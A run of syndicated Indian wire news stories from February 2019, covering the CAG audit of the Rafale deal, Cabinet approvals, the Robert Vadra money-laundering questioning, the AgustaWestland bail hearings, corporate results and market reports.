On the Basic Aircraft package, the Defence Ministry contended that the aligned price worked out by INT and Audit in the case of basic aircraft was the same but argued that the negotiated price of 36 flyaway aircraft was 9 per cent lesser than the price offered for the aircraft in 2007.

However, the CAG said: "There is no difference between the bid of 2007 as escalated by INT with actual escalation factors, and the negotiated cost of the 2015 offer, for the same aircraft."

The national auditor observed that overall the capital acquisition system, as it exists, is unlikely to effectively support the Indian Air Force (IAF) in its operational preparedness and modernization and called for revisiting the entire process of acquisition to simplify it.

It recommended that the IAF should improve its process of formation of Air Staff Qualitative Requirements (ASQR) to ensure that they correctly reflect the user's functional parameters.

Audit is of the view that the present Lowest Price Technically Acceptable (LPTA) method of bid evaluation wherein the contract is awarded to the lowest priced offer which is technically acceptable needs reconsideration.

For procuring highly technical products, use of the Best Value method or a quantitative assessment method may ensure better value for money.

The CAG said Audit examined the system of capital acquisition of air assets to assess its ability to meet the required capability at the optimum price and the given time frame.

To acquire the right product at the right price, it is essential that the qualitative requirement truly reflects the user's functional need; maximum possible competition is generated; and technical and price evaluation is done objectively.

Audit noted that the IAF did not define the ASQRs properly. As a result, none of the vendors could fully meet the ASQRs which were changed repeatedly during the procurement process.

"This created difficulties during technical and price evaluation and affected the integrity of competitive tendering which was also one of the major reasons for delays in acquisition process.

"The objectivity, the equality and consistency of the technical evaluation process was not evident in the Technical Evaluation Report," the CAG said.

The national auditor also noted that the vendor response to solicitation of offers was low, which restricted competition. The number of vendors who responded to the Request for Proposal (RFP) was far less than the number of vendors who were invited to bid.

The CAG said the Defence Ministry should revisit the entire process of acquisition to weed out redundant activities and simply the process. The acquisition wing, headed by Director General (Acquisition), was envisaged as an integrated defence organisation.

"In reality, this has perhaps not happened, with bulk of the acquisition related activities still carried out in Services Headquarters," the CAG said.

It said the Ministry faced difficulties in realistically estimating the benchmark price, making it difficult to establish the reasonability of price.

Before commencing negotiations, the INT estimated the benchmark price on a firm and fixed cost basis keeping in view the expected discounts, market study, Rafale sale price from annual reports of Dassault etc as 'R' Million Euro.

This was about 57 per cent lower than the initial offer of the French team and 46 per cent lower than the non-firm and fixed offer of 'T' Million Euro.

"Audit noted that as the INT was already aware of both the previous unrealistic benchmark pricing as well the commercial offer, they could have estimated the benchmark price more realistically. Audit also noted that in the process of procuring MMRCA, this was the second time (first time in November 2011) that an unrealistically low benchmark prices were fixed," the report said.

The CAG also found that there was an improvement of one month in the delivery schedule of the 2016 contract for 36 Rafale fighter jets in flyaway condition than the one negotiated by the UPA government.

According to the original delivery schedule offered by Dassault in 2007, first 18 flyaway aircraft were to be delivered between 37 and 50 months of the signing of the contract. The next 18, which were to be license produced in HAL, were to be delivered from 49th to 72nd months of the signing of the contract.

During negotiations, INT conveyed to the French side that it expected the delivery of the first batch of 18 Rafale aircraft in 24 months after the signing of the Inter Government Agreement (IGA); and next batch of 18 aircraft in 36 months after the signing of the IGA.

However, the delivery schedule finally offered by the French side was 18 aircraft by 36 to 53 months after the signing of the IGA and the remaining 18 to be delivered by 67 months of the signing of IGA. This was better than the delivery schedule of 2007 by five months.

"However, Audit noted that as against the delivery period of 72 months in the earlier offer, the contracted delivery schedule for 36 Rafale aircraft was actually 71 months. The Indian Specific Enhancements (ISE) on the first aircraft would be completed by T0 plus 63 months and integration on the next 35 aircraft would be completed in eight months. Thus, there was an improvement of one month in the delivery schedule of the 2016 contract," the CAG report said.

The CAG also found flaws in the Defence Ministry's benchmark price estimates.

--IANS

bns-rak/vsc/mr

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Comptroller and Auditor General (CAG) has found that there was an improvement of one month in the delivery schedule of the 2016 contract for 36 Rafale fighter jets in flyaway condition than the one negotiated by the UPA government.

The CAG report on Capital Acquisition in Indian Air Force tabled in Parliament on Wednesday said one of the objectives of the Indian Negotiation Team (INT), which was derived from the Indo-French Joint Statement, was to expedite the delivery of the aircraft and weapons compared to the delivery period offered by Dassault Aviation in 2007.

According to the original delivery schedule offered by Dassault in 2007, first 18 flyaway aircraft were to be delivered between 37 and 50 months of the signing of the contract. The next 18, which were to be license produced in HAL, were to be delivered from 49th to 72nd months of the signing of the contract.

During negotiations, INT conveyed to the French side that it expected the delivery of the first batch of 18 Rafale aircraft in 24 months after the signing of the Inter Government Agreement (IGA); and next batch of 18 aircraft in 36 months after the signing of the IGA.

However, the delivery schedule finally offered by the French side was 18 aircraft by 36 to 53 months after the signing of the IGA and the remaining 18 to be delivered by 67 months of the signing of IGA. This was better than the delivery schedule of 2007 by five months.

"However, Audit noted that as against the delivery period of 72 months in the earlier offer, the contracted delivery schedule for 36 Rafale aircraft was actually 71 months. The Indian Specific Enhancements (ISE) on the first aircraft would be completed by T0 plus 63 months and integration on the next 35 aircraft would be completed in eight months. Thus, there was an improvement of one month in the delivery schedule of the 2016 contract," the CAG report said.

Further, it said, audit noted that INT had apprehensions about the achievement of even this delivery schedule, because at the timing of the signing of the contract Dassault had an order backlog of 83 aircraft.

"Considering its production rate of 11 aircraft a year, clearing this backlog itself would take more than seven years. Ministry in its response stated that the Project was currently on schedule and the progress was being closely monitored by the resident Project Management Team and also through the Inter-Governmental Bilateral High Level Group," it said.

On commercial advantage of Non-firm and Fixed Price bids, the CAG said any savings which accrues would be due to the difference between the escalation cap and actual escalation rates, between 2016 and 2021.

These would have also been available in the 2007 commercial offer depending upon escalation rates but after the mid delivery period as calculated by a sub-committee of the Contract Negotiation Committee in 2011-12.

--IANS

bns-vsc/mr

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Union Cabinet, chaired by Prime Minister Narendra Modi, on Wednesday approved the signing of three Memorandums of Understanding (MoUs) with Saudi Arabia for strengthening cooperation in the fields of tourism, customs and investment.

The MoU would facilitate sharing information and expertise in tourism development, hotels, resorts and tourist accommodation facilities, tourism data and statistics, events and other tourism activities.

Saudi Arabia is one of the potential tourist markets for India from Middle East.

Another MoU is on establishing a mechanism for making investment in infrastructure in India, according to an official release.

The MoU will be a step forward in engaging with the institutions of Saudi Arabia to attract a potential investment into the infrastructure sector in the country.

It will lead to boosting infrastructure development in the country, creation of more jobs, growth of ancillary industries/ sectors which will lead to growth in GDP and overall economic prosperity.

The third MoU pertains to cooperation and mutual assistance in customs matters, said the release.

The Agreement will help in making available reliable, quick and cost-effective information and intelligence for the prevention and investigation of customs offences and apprehending of customs offenders.

The MoUs between the two countries are likely to be signed during the Saudi Crown Prince Mohammed bin Salman bin Abdulaziz Al Saud's visit to India next week.

--IANS

mak/nir

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)To give a boost to public transport infrastructure in Patna, the Union Cabinet on Wednesday cleared a metro rail project for the city to be built at an estimated cost of Rs 13,365.77 crore.

The project envisages two metro rail corridors -- Danapur to Mithapur, and the Patna Railway Station to New Inter-state Bus Terminus (ISBT).

The project would be completed in five years.

As per the project plan, the Danapur Cantt to Mithapur corridor will pass through the heart of city and connect densely-populated areas like the Raza Bazar, Secretariat, High Court and Law University Railway Station, an official statement said.

The Patna Junction to ISBT corridor will connect Gandhi Maidan, PMCH, Patna University, Rajendra Nagar, Mahatma Gandhi Setu, Transport Nagar and ISBT.

"The metro will provide eco-friendly and sustainable public transport to residents, commuters, industrial workers, visitors and travelers," the statement said.

It said that the length of Danapur to Mithapur corridor is 16.94 km and comprises of 11 stations. The length of Patna Station to New ISBT corridor is 14.45 km comprising of 12 stations.

"The existing population of 26.23 lakh of Patna agglomeration area is expected to be benefitted by Patna Metro Rail Project directly and indirectly," the government said.

It added that the corridors would have multimodal integration with railway stations and ISBT station and also have a feeder network of bus, Intermediate Public Transport (IPT) and Non Motorised Transport (NMT).

--IANS

vv/vd

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Union Cabinet on Wednesday approved the proposal for leasing out 1.61-acre land of the Delhi Milk Scheme in Delhi's Alipur to Small Farmers Agribusiness Consortium (SFAC) to set up "Kisan Mandi", said an official.

The market will provide an additional marketing channel and platform to Farmer Producer Organisations (FPOs) and Growers Associations (GA) for direct sale of fruits and vegetables to wholesale and retail buyers in Delhi-NCR, said an official statement.

Only registered FPOs and GAs will be allowed to offer fresh produce for sale on this platform.

Organisation retailers, wholesalers, hotels and catering institutions, Resident Welfare Association (RWAs) and ordinary consumers can buy from this platform, with no agents or middlemen involved.

"There will be no commission charged on the transactions in the Kisan Mandi either from sellers or buyers and the FPOs will pay a small service charge for the use of facilities such as godowns, cold stores," said the statement.

Kisan Mandi will also offer direct supply through retail outlets on a franchises model.

"A beginning will be made by offering staple produce such as potato and onion through selected kiosks of the Delhi Milk Scheme."

The Kisan Mandi will also have provision for online sales and direct marketing through call centre, it added.

--IANS

spk/nir

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)German auto component major's Indian arm Bosch Ltd on Wednesday reported Rs 335 crore standalone net profit for the third quarter (Q3) of fiscal 2018-19, registering a 19.2 per cent annual growth over Rs 281 crore in the same period a year ago.

Standalone revenue from operations, however, remained flat (0.8 per cent growth) annually at Rs 3,096 crore for Q3 over Rs 3,072 crore in the year-ago period.

Sequentially, net profit at Rs 335 crore for the quarter is 20 per cent less than Rs 420 crore posted in the second quarter of FY19.

Likewise, revenue too declined 3.3 per cent to Rs 3,096 crore from Rs 3,201 crore in the second quarter of FY19.

Though profit before tax (PBT) grew 15.8 per cent annually to Rs 490 crore in the third quarter from Rs 423 crore a year ago, it declined 24 per cent sequentially from Rs 641 crore a quarter ago.

"Our profit was aided by improved operational efficiency, favourable product mix and higher investment income, which was partially offset by negative exchange rate on material cost," said the city-based firm in a statement here.

Company Managing Director Soumitra Bhattacharya said the quarterly results had to be viewed in the context of weak market conditions in the automotive sector.

"We are helping customers to meet the challenge of making vehicles compliant with BS (Bharat Standard) VI emission norms from April 2020 as per the Supreme Court's ruling," said Bhattacharya in the statement.

The company has recently showcased its business beyond mobility offerings, which are embracing digital platforms and IoT (Internet of Things) services.

Mobility solutions turnover decreased 0.6 per cent though the division's exports increased 6.5 per cent, which has offset lower domestic sales of 1.1 per cent.

"Within the mobility business, the powertrain solutions division declined 2.7 per cent annually due to weak automotive market, while aftermarket division grew 5.8 per cent year-on-year," he said.

The company's shareholders have approved buyback of 10.3 lakh equity shares of Rs 10 face value by way of a tender offer for cash at Rs 21,000 per share, aggregating to Rs 2,156 crore.

The buyback that opened on February 6 will close on February 20.

The company's blue-chip scrip of Rs 10 face value, however, lost Rs 712.15 per share at the end of Wednesday trading on the BSE at Rs 17,897.85 against Tuesday's closing of Rs 18,610 and opening price of Rs 18,700.

Intra-day the scrip hit a high of Rs 18,753 and a low of Rs 17,600.

--IANS

fb/oeb/pcj

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Canadian gender-politics blogger has filed a lawsuit against Twitter after the microblogging site banned her for tweets criticising the rights of transgender people, the media reported.

According to a report in CNET on Tuesday, Meghan Murphy, founder of the blog Feminist Current, filed the lawsuit on Monday in the Superior Court of California.

Twitter permanently booted Murphy from the platform in November for violating the site's rules against hateful conduct after she made a reference to a transgender woman as "him".

This did not go down well with Twitter which updated its policy on hateful conduct late last year.

The new Twitter policy prohibits targeting individuals with repeated slurs, tropes or other content that intends to dehumanise, degrade or reinforce negative or harmful stereotypes about a protected category. This includes targeted misgendering or deadnaming of transgender individuals.

Murphy alleged that changing the hateful conduct policy without alerting the public amounted to violation of Twitter's agreement with users.

Twitter called the lawsuit "meritless" and added that it "will vigorously defend itself against this suit", said the report.

Twitter believes that some groups of people, including lesbian, gay, bisexual and transgender communities, are disproportionately targeted with abuse online and therefore need extra protection.

--IANS

gb/ab

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Protests by BJP legislators on Wednesday against an attack by JD-S workers on the house of one of its MLAs in Hassan forced Assembly Speaker K.R. Ramesh Kumar to adjourn the House.

Bharatiya Janata Party (BJP) legislator from Hassan Preetham Gowda claimed Janata Dal-Secular (JD-S) workers pelted stones at his residence in Hassan earlier in the day.

BJP legislators walked towards the Chair and raised slogans against the government alleging the law and order in the state had "collapsed".

The party's state unit chief B.S. Yeddyurappa alleged that the ruling coalition partners were trying to "attack opposition leaders".

"Attempts are being made by the ruling party to intimidate the opposition leaders," he told the media.

The party has also been creating ruckus in the House demanding a judicial probe into an audio tape in which the Speaker's name figured in an alleged conversation between Yeddyurappa and JD-S legislator Naganagouda Kandakur's son Sharanagouda on February 7.

The audio tape issue has rocked the Assembly for the past two days, after the Speaker asked the government to direct an SIT probe into it while the BJP demanded a judicial inquiry.

On the Speaker's directive, Chief Minister H.D. Kumaraswamy on Monday ordered a SIT probe into the audio tape he released on February 8 to expose Yeddyurappa's alleged attempt to lure Kandakur join the BJP.

The Speaker also wanted the inquiry report in the next 15 days.

The BJP, on the other hand, has been asserting that Yeddyurappa's voice in the audio tape was "doctored" and a SIT probe would lead to a witch-hunt on its members.

Amid the protests by the BJP in the House, the Karnataka Budget presented by Kumaraswamy on February 8 is yet to be discussed.

Anti-government protests by the BJP have marred the Budget session, which began on February 6, when a joint address by Governor Vajubhai Vala had to be cut short due to ruckus by the party against the ruling coalition.

--IANS

bha/mr

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Robert Vadra and his 75-year-old mother Maureen Vadra on Wednesday deposed before the Enforcement Directorate (ED) for the second consecutive day in a money laundering case involving the Bikaner land deal case.

Vadras appeared before the ED office here around 10.40 a.m.

They were questioned for over eight hours on Tuesday under various sections of the Prevention of Money Laundering Act.

According to an ED source, On Tuesday, Vadra was given a set of questions about how he knew Mahesh Nagar, an authorised representative of Skylight Hospitality LLP, owned by Robert Vadra and his 75-year-old mother.

Nagar is the person who links Vadra's company with Ashok Kumar, who was named in the chargesheet filed by the Rajasthan Police in the case.

In December 2017, the ED had arrested Ashok Kumar, a close associate of Nagar, and another person, Jaiprakash Bagarwa. The ED had searched the premises of both Kumar and Nagar in April 2017.

According to ED officials, Nagar was the authorised representative in four cases of land purchase in Bikaner.

Kumar, the agency alleged, had purchased land in the same area, using the "power of attorney" of others.

The source disclosed that Vadra was also asked about the business and transactions of his company. He was also questioned about how much lands he bought, and whether he took loans to buy the land in Bikaner.

The ED officials also grilled Vadra if he knew about the involvement of Kumar in the case and when Nagar informed him about the forgery of documents to buy those lands.

The ED has been probing the alleged irregularities in the purchase of land in Kolayat area of the border town of Bikaner in Rajasthan, which was meant for those displaced due to Army's field firing range.

According to the ED officials, Skylight Hospitality had purchased 69.55 hectares of land for Rs 72 lakh and then sold it to Allegeny Finlease for Rs 5.15 crore, thus making a profit of Rs 4.43 crore.

The agency registered a criminal case under the Money Laundering Act in 2015, taking cognizance of the case filed by the Rajasthan police after forgery allegations.

The agency had earlier issued notices to Skylight Hospitality but had not mentioned Robert Vadra's name or any company linked to him in its FIR.

According to the ED, during investigation it had surfaced that Allegeny Finlease as a company was "not involved" in any "real business activities" and many of its shareholders were found to be dummy or non-existent.

The government had cancelled the mutation (transfer of land) of 374.44 hectares of land after allotments were found to have been allegedly made in the names of "illegal private persons".

Revenue officials had said in the complaint that government land in 34 villages of Bikaner, which was meant to be used for expanding the Army's firing range, was "grabbed" by the land mafia by preparing "forged and fabricated documents" in connivance with government officials.

The ED suspects that a huge amount of money was laundered in this case by people buying land at cheaper rates through forged documents.

--IANS

aks-arc/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Enforcement Directorate (ED), which is questioning Robert Vadra, brother-in-law of Congress President Rahul Gandhi in a money laundering case involving the Bikaner land deal case, is learnt to have asked him the following questions on Tuesday (February 12):

(Vadra needs to reply in writing to the questions, which are translated from Hindi) * Question: How much partnership you (Vadra) and your mother have in the Skylight LLP?

* Question: How much interferance does Maureen Vadra has in the company's transactions and management?

* Question: What is the main business of your company?

* Question: What is the main source of income of your company?

* Whom did you authorise to buy the lands for your company?

* Question: What was the role of the man in the Skylight Hospitality who was authorised to buy the lands for you?

* Question: What the source of the the payment for buying the lands?

* Question: Did Skylight Hospitality take any loan from anyone to buy those lands?

* Question: What was the arrangement that your company had to repay the loans which it took to buy the lands?

* Question: Your company bought the land at cheaper rate and sold it at very high rates. Did this happen to your knowledge?

* Question: Beside Kolayat and Mahajan Firing range, where else did your company engage in sale and purchase of lands?

* Question: How did your company utilise the profit it earned from selling the lands?

* Question: When was the matter of forgery in buying and selling lands in Kolayat brought to your notice?

* Question: After getting this information, what action did you take?

* Question: What was your relationship with Mahesh Nagar, a Haryana Congress leader and a resident of Faridabad?

* Question: Were Ashok Singh, a resident of Faridabad and Bikaner's Jaiprakash Bagarwa in your contact?

* Question: Did you come to know about their arrest by the ED?

* Question: How much land did your company buy out of the 1,422 bighas of land in Mahajan firing range and in Bikaner's Kolayat region?

* Question: Through whom did your company buy the 275 bighas of land in Rs 79 lakh? What do you have to say about this?

* Question: How much profit did your company make after selling the 275 bighas of land?

* Question: With whom was the profit of land shared?

* Question: Was the profit as per your expectation?

Vadra was questioned for eight hours on Tuesday. He and his 75-year-old mother Maureen Vadra was accompanied to the ED office by his wife Priyanka Gandhi Vadra, who was recently appointed as Congress general secretary for eastern Uttar Pradesh.

Last week, ED had questioned Vadra for over 24 hours on three days -- Wednesday, Thursday and Saturday -- in a separate money laundering case in Delhi.

--IANS

aks-arc/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Enforcement Directorate (ED) on Wednesday confronted Robert Vadra, brother-in-law of Congress President Rahul Gandhi, in a money laundering case involving the Bikaner land deal case about the loan given by the Bhushan Steel and Power to a French firm to buy his company's land.

An ED source said that Vadra was asked questions about the loans given by the Bhushan Steel and Power to the Mumbai-based PR Fonroche, a joint venture between PR Clean Energy and French Fonroche Energy, which bought Vadra firm's lands at very high rates.

Vadra's Skylight Hospitality bought this plot in Kolayat in March 2010.

According to the ED officials, Skylight Hospitality had purchased 69.55 hectares for Rs 72 lakh and then sold it to Allegeny Finlease for Rs 5.15 crore, thus making a profit of Rs 4.43 crore.

In May 2012, it sold off another 29.36 hectares in Kolayat for nearly Rs 2 crore to a French joint venture without adding any value to it.

According to the ED officials, Allegeny bought 69.5 hectares, Sachchiya 17.6 hectares and VCB Trading 53.8 hectares from the three Vadra companies Sky Light Hospitality, Sky Light Realty and Blue Breeze Trading in Bikaner's Kolayat village.

The remaining land was bought by PR Fonroche.

An ED source said the loan which the Bhushan Power and Steel Ltd gave to a company that bought land owned by Skylight Hospitality at seven times higher than the acquisition cost.

The agency had registered a criminal case under the Money Laundering Act in 2015, taking cognizance of the case filed by the Rajasthan police after forgery allegations.

The agency had earlier issued notices to Skylight Hospitality but had not mentioned Robert Vadra's name or any company linked to him in its FIR.

Vadra, along with his 75-year-old mother Maureen Vadra has been questioned by ED for over eight hours on Tuesday.

The agency had earlier issued notices to Skylight Hospitality but had not mentioned Vadra's name or any company linked to him in its FIR.

According to the ED, during investigation it found that Allegeny Finlease as a company was "not involved" in any "real business activities" and many of its shareholders were found to be dummy or non-existent.

The government had cancelled the mutation (transfer of land) of 374.44 hectares of land after allotments were found to have been allegedly made in the names of "illegal private persons".

Revenue officials had said in the complaint that government land in 34 villages of Bikaner that was meant to be used for expanding the Army's firing range was "grabbed" by the land mafia by preparing "forged and fabricated documents" in connivance with government officials.

ED suspects that a huge amount of money was laundered in this case by people buying land at cheaper rates through forged documents.

Last week, Vadra was questioned for over 24 hours for three days -- Wednesday, Thursday and Satrurday in a separate money laundering case.

--IANS

aks/arc/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A baby delivered aboard a moving train died in absence of medical treatment here on Wednesday.

Indramani Devi, a resident of Jharkhand's Lohardaga district, had started getting labour pain while she was travelling with her husband to Ranchi by the Alappuzha-Dhanbad Express. She delivered a baby on train.

"We sought medical help from the railway, but did not get any. We had to rush to Sadar hospital when we got down at the Ranchi railway station," Indramani Devi told reporters.

At the Sadar hospital too, where she arrived with her baby in a jute bag, the doctors did not attend to her immediately.

By the time they looked at her, the baby was dead.

The couple belong to the Maoist-infested Lohardaga district and were not aware of the mobile and social media facilities provided by the Indian Railway.

--IANS

ns/rtp/ab

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The failure of the BJP-led NDA government to pass the contentious Citizenship (Amendment) Bill 2016 in the Rajya Sabha on Wednesday brought cheers to most protesting organisations in Assam, but the ruling BJP termed it a "defeat" for the state.

The Citizenship (Amendment) Bill, 2016 is set to lapse on June 3, when the term of the present Lok Sabha ends, as the Bill could not be tabled in the Rajya Sabha which was adjourned sine die on Wednesday, the last day of the Budget session.

The All Assam Students' Union (AASU), Citizens' Forum, Asom Jatiyatabadi Yuva Chatra Parishad (AJYCP), Krishak Mukti Sangram Samiti (KMSS) and parties such as the Congress and Asom Gana Prishad (AGP) celebrated the development.

AASU adviser Samujjal Bhattacharyya expressed his happiness and complimented the people of the region for standing united against the Bill.

"We condemn the BJP government for failing to ascertain the sentiments of the people of the region," he said.

The students' body also celebrated the victory by signing songs and distributing sweets to its members and passersby in front of the AASU headquarters in the state capital.

However, state Health and Finance Minister Himanta Biswa Sarmathe described the development as a "defeat for Assam."

"It is a defeat for Assam. My party and I extended full support to the Bill. We do not have a majority in the Rajya Sabha, so the Bill could not be passed. Bangladeshi Muslims will now occupy 17 constituencies of lower and central Assam. The people of Assam will lose their culture and language," Sarma said.

The KMSS and AJYCP also celebrated the development and said the people of the region have given a strong message to the ruling BJP governments in Delhi and Assam, saying the party will face the consequences in the forthcoming general elections.

The Congress in Assam also rejoiced at the Modi government's failure to push through the contentious Bill in the Rajya Sabha and said the party has yet again foiled an attempt by the communal forces to convert secular India into a fundamentalist nation.

Debabrata Saikia, the leader of the Opposition in the Assembly, said the Congress honoured the sentiments of the people of Assam and the North-East.

Lauding the effective floor coordination between the Congress and non-BJP parties, Saikia said the Modi government was unable to muster the courage to table the Bill in the Rajya Sabha on the last day of the Budget session.

--IANS

ah/arm/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)National Assembly Speaker Juan Guaido, who proclaimed himself Venezuela's interim president on January 23, has announced that humanitarian aid being stockpiled abroad will begin entering the country on February 23.

"We're announcing that February 23 will be the day for the entry of the humanitarian aid, and so from today we will work with all sectors -- transportation workers, nurses who must introduce and distribute the aid," said Guaido on Tuesday at the close of a rally here.

The US, which rushed to recognize Guaido's claim to the presidency, is organizing the aid effort that Nicolas Maduro, the elected head of state, has denounces as a prelude to military intervention by Washington.

The 35-year-old opposition leader said that next weekend assemblies will be held and "humanitarian camps" will be established with an eye toward organising and preparing everyone who has volunteered to help distribute the aid to go to the country's border with Colombia if the military does not allow the aid to be brought in.

"We have to go in caravans, in protests, in mobilisations," Efe news quoted Guaido as saying.

Since last week, the Colombian border city of Cucuta has been warehousing donations provided by the neighbouring country, the US and others.

Guaido also thanked the international community for the support, and ruled out any possibility of civil war.

"You (government supporters) talk about an alleged war that will not exist," he said. "Who would be ready to go to war if (Maduro) has neither the support or the respect of his neighbours and the world?" he said.

--IANS

in/

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Delhi court on Wednesday reserved its order on the bail plea of British national Christian Michel, the middleman accused in the Rs 3,600-crore AgustaWestland VVIP chopper deal case.

Special Judge Arvind Kumar said he would deliver the bail order on Saturday.

The Central Bureau of Investigation (CBI) and the Enforcement Directorate (ED) have opposed the bail plea.

Michel sought the bail, saying he has been in custody since December 4, 2018, and as per Section 167(2) of the Code of Criminal Procedure, the probe was supposed to be completed by February 3, and the chargesheet filed.

But it was not filed within the stipulated 60-day period, so he should be released on bail, Michel's defence counsel told the court.

The CBI told the court that the chargesheet in the case has already been filed against the accused persons, including Michel, and proceedings started.

Quoting provisions of Section 167(2) of the Code of Criminal Procedure, the CBI said that the 60-day criteria was not applicable here.

On its part, the ED said that rather than filing various prosecution complaints piecemeal, the agency is in the process of filing a detailed and comprehensive prosecution complaint.

Michel was extradited to India on December 4 from the United Arab Emirates (UAE). He is one of the three middlemen being investigated by the CBI and the ED in the VVIP chopper deal.

The ED arrested him on December 22, 2018.

In January 2018, the ED had lodged a request with the UAE authorities seeking extradition of Michel. Both the ED and the CBI had filed chargesheets in the bribery cases in Indian courts and non-bailable warrants had been issued against the accused.

In its chargesheet, the CBI had named former Indian Air Force chief S.P. Tyagi, his cousin Sanjeev Tyagi alias Julie, then IAF Vice Chief J.S. Gujral and advocate Gautam Khaitan as the four Indians involved in the scam.

The others named in the chargesheet included Giuseppe Orsi, the former chief of Italian defence and aerospace major Finmeccanica, and Bruno Spagnolini, former CEO of AgustaWestland, apart from middlemen Michel, Haschke and Gerosa.

--IANS

akk/in/bg

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Enforcement Directorate (ED) on Wednesday told a court it was not opposing the plea of Dubai-based businessman Rajiv Saxena seeking bail on medical grounds as he was cooperating in the AgustaWestland deal probe.

Saxena may, according to sources, turn approver in the case, though he has not moved any application in this regard yet.

Special Public Prosecutor D.P. Singh asked Special Judge Arvind Kumar to consider Saxena's bail plea sympathetically as he was co-operating in the investigation and has disclosed many names during his custodial interrogation.

However, the court said that the ED made a "vague" reply and asked why initially it sought his custodial interrogation when he could join the investigation without being arrested.

The prosecutor replied that Saxena had not appeared before the agency despite repeated summons and was therefore arrested.

The court then asked authorities concerned to to file Saxena's medical report by Thursday when it will again hear the case.

Seeking bail, Saxena said he was suffering from radiating back pain, numbness and heaviness in legs, neck pain and other ailments.

He also told the court that he has been co-operating with the investigators in the case. The court had listed the matter for hearing his bail plea on February 13.

United Arab Emirates (UAE) security agencies picked up Saxena from his Dubai residence on January 30 and extradited him to India later that night, along with corporate lobbyist Deepak Talwar.

According to the ED, in connivance with lawyer Gautam Khaitan, Saxena provided a corporate structure across the globe to launder money for payment to various political leaders, bureaucrats and Indian Air Force officials to influence the contract for supplying 12 VVIP helicopters in favour of AgustaWestland.

A Delhi court had earlier issued a non-bailable warrant against Saxena after he did not join the investigation despite repeated summons.

Saxena's name was mentioned in a charge sheet filed against his wife, Shivani, who has been out on bail after being arrested by the ED.

--IANS

akk/vd

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Penalty of Rs 2 crore imposed on Corporation bank and Rs 1 crore each on BoB, SBI and UBI

The Reserve Bank of India (RBI) has imposed, by orders dated 31 January 2019, monetary penalty for non-compliance with various directions issued by RBI on monitoring of end use of funds, exchange of information with other banks, classification and reporting of frauds, and on restructuring of accounts, on four banks

RBI has imposed a penalty of Rs 1 crore on Bank of Baroda, Rs 2 crore on Corporation Bank, Rs 1 crore on State Bank of India and Rs 1 crore on Union Bank of India.

These penalties have been imposed in exercise of powers vested in RBI under the provisions of Section 47A(1)(c) read with Section 46(4)(i) of the Banking Regulation Act, 1949, taking into account failure of the above banks to adhere to the aforesaid directions issued by RBI.

This action is based on deficiencies in regulatory compliance and is not intended to pronounce upon the validity of any transaction or agreement entered into by the banks with their customers.

Powered by Capital Market - Live News

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Headline indices of the Japan share market closed to a near two-month high on Wednesday, 13 February 2019, on tracking firm lead from Wall Street overnight after optimism over progress in U. S.-China trade talks and a tentative US congressional spending deal to avert another partial government shutdown. At closing bell, the 225-issue Nikkei index rose 280.27 points, or 1.34%, at 21,144.48. The broader Topix index of all First Section issues on the Tokyo Stock Exchange added 16.73 points, or 1.06%, to 1,589.33.

President Donald Trump said he's open to extending a March 1 deadline to raise tariffs on Chinese products if the two sides are near an agreement, sending a conciliatory signal amid talks to resolve the trade war between the world's two-biggest economies.

Officials in Washington and Beijing had expressed hopes that a new round of talks which began this week would bring them nearer to easing their seven-month trade war.

High-level trade talks in Beijing starting on Thursday will attempt to hammer out an agreement before a March 1 deadline for the U. S. to impose higher tariffs on $200 billion of Chinese goods.

Risk appetite was also helped by signs of a tentative deal among American lawmakers to avert a government shutdown.

Oil explorer Inpex jumped 14% after sharply raising its net profit outlook for the year. Inpex hiked its full-year net profit forecast by 37% thanks to its Ichthys liquefied natural gas (LNG) project in Australia.

Kabu.com Securities rose 6% after KDDI Corp said on Tuesday it would spend $800 million to buy a minority stake in Kabu.com.

ECONOMIC NEWS: Japan producer prices were down 0.6% on month in January, the Bank of Japan said on Wednesday, unchanged from the December reading. On a yearly basis, producer prices climbed 0.6%, down from 1.5% in the previous month. Export prices were down 2.5% on month and 3.3% on year, the bank said, while import prices sank 5.0% on month and 1.6% on year.

Powered by Capital Market - Live News

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Tokyo [Japan], Feb 12 (ANI): Yoo Sung Yeub, a resident of South Korea received the first prize of Washoku Challenge, a cooking contest in which Japanese chefs across the compete and showcase art in creating quintessential Japanese food. The contest is organised by the Ministry of Agriculture, Forestry, and Fisheries of Japan in Tokyo.

Expressing gratitude after receiving the first prize, Yeub said, "I am so glad to receive the 1st prize. Thanks to this competition, my motivation for Washoku has boosted up. I am sure that I will keep on working harder. This contest has now such an important impact in the food industry as the number of international Washoku chefs are soaring every year."

This year marked the 6th season of the contest that stressed on "IRODORI", a Japanese term which means colouration and focuses on the sense of sight. The Ministry had invited six finalist chefs from five worldwide cities such as Paris, New York, Los Angeles, Bangkok, and Osaka to participate in the finale and to represent dishes based on the theme.

Speaking about the contest, Kyoko Nishi, an official from the Ministry of Agriculture, Forestry, and Fisheries of Japan said, "this contest is becoming one of the most important events for chefs. This experience also gives great influence to their career and work in terms of motivation, thought of hospitality when they go back to their country. Beautiful works from six wonderful chefs are finally moving to the examination stage. Each work has a variety of original colours and balance.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The controversial triple talaq and citizenship Bills, passed by Lok Sabha, will lapse with Rajya Sabha being adjourned sine die on Wednesday.

Prior to the adjournment, the House passed the Motion of Thanks to the President for his address, 2019-20 interim budget 2019-20 and appropriation bill without any debate.

